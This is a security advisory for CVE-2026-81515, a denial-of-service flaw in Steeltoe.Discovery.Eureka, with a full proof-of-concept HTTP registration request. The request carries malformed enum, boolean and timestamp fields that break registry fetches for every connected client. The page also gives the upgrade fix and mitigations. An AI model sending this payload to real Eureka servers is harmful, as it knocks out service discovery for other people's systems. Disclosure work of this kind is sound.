high · 7.5CVE-2026-81515Sep 17, 2026

CVE-2026-81515: Steeltoe.Discovery.Eureka Registry Fetch DoS via Malformed Instance Fields

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any service that can register with a Eureka server can crash the registry fetch for all connected .NET Steeltoe clients by including a bad enum value, a non-boolean flag, or a junk timestamp in its…

PackageSteeltoe.Discovery.Eureka
Ecosystemnuget
Affected>= 4.0.0, <= 4.2.0
Fixed in4.3.0

The problem

Steeltoe's EurekaDiscoveryClient deserializes the entire Eureka registry response as one unit. If any single registered instance carries an unrecognized value in fields such as actionType, status, isCoordinatingDiscoveryServer, or a timestamp field, the affected JSON converter throws an unhandled exception.

That exception bubbles up through the full deserialization chain and is silently swallowed by the periodic cache-refresh task. Every Steeltoe client polling that registry then receives an empty or permanently stale service list. The outage lasts until the malformed registration is manually removed.

Proof of concept

A working proof-of-concept for CVE-2026-81515 in Steeltoe.Discovery.Eureka, with the exact payload below.

http
POST /eureka/v2/apps/EVIL-SERVICE HTTP/1.1
Host: eureka-server:8761
Content-Type: application/json
Accept: application/json

{
  "instance": {
    "instanceId": "evil-host:evil-service:9999",
    "app": "EVIL-SERVICE",
    "hostName": "evil-host",
    "ipAddr": "10.0.0.1",
    "status": "UP",
    "port": { "$": 9999, "@enabled": true },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    },
    "actionType": "NOT_A_VALID_ENUM",
    "isCoordinatingDiscoveryServer": "not-a-bool",
    "lastUpdatedTimestamp": "not-a-number",
    "lastDirtyTimestamp": "not-a-number"
  }
}

Three custom System.Text.Json converters each throw on unexpected input without any try/catch or fallback: JsonInstanceInfoConverter throws when actionType or status does not match a known enum member, BoolStringJsonConverter throws when isCoordinatingDiscoveryServer is not a parseable boolean, and LongStringJsonConverter throws when a timestamp field is not a valid integer string.

Because the registry is deserialized as one atomic operation, any one of these throws aborts the entire response (CWE-755). The patch (commit bc1c3763) made all three converters lenient, returning null or a default value instead of throwing, so a single bad field now skips only that instance rather than poisoning the whole registry.

The fix

Upgrade Steeltoe.Discovery.Eureka to version 4.3.0. If an immediate upgrade is not possible, audit the Eureka registry for non-standard actionType, status, isCoordinatingDiscoveryServer, or timestamp values (especially from Java or Spring clients), and restrict write access to the Eureka registration API to trusted services only.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research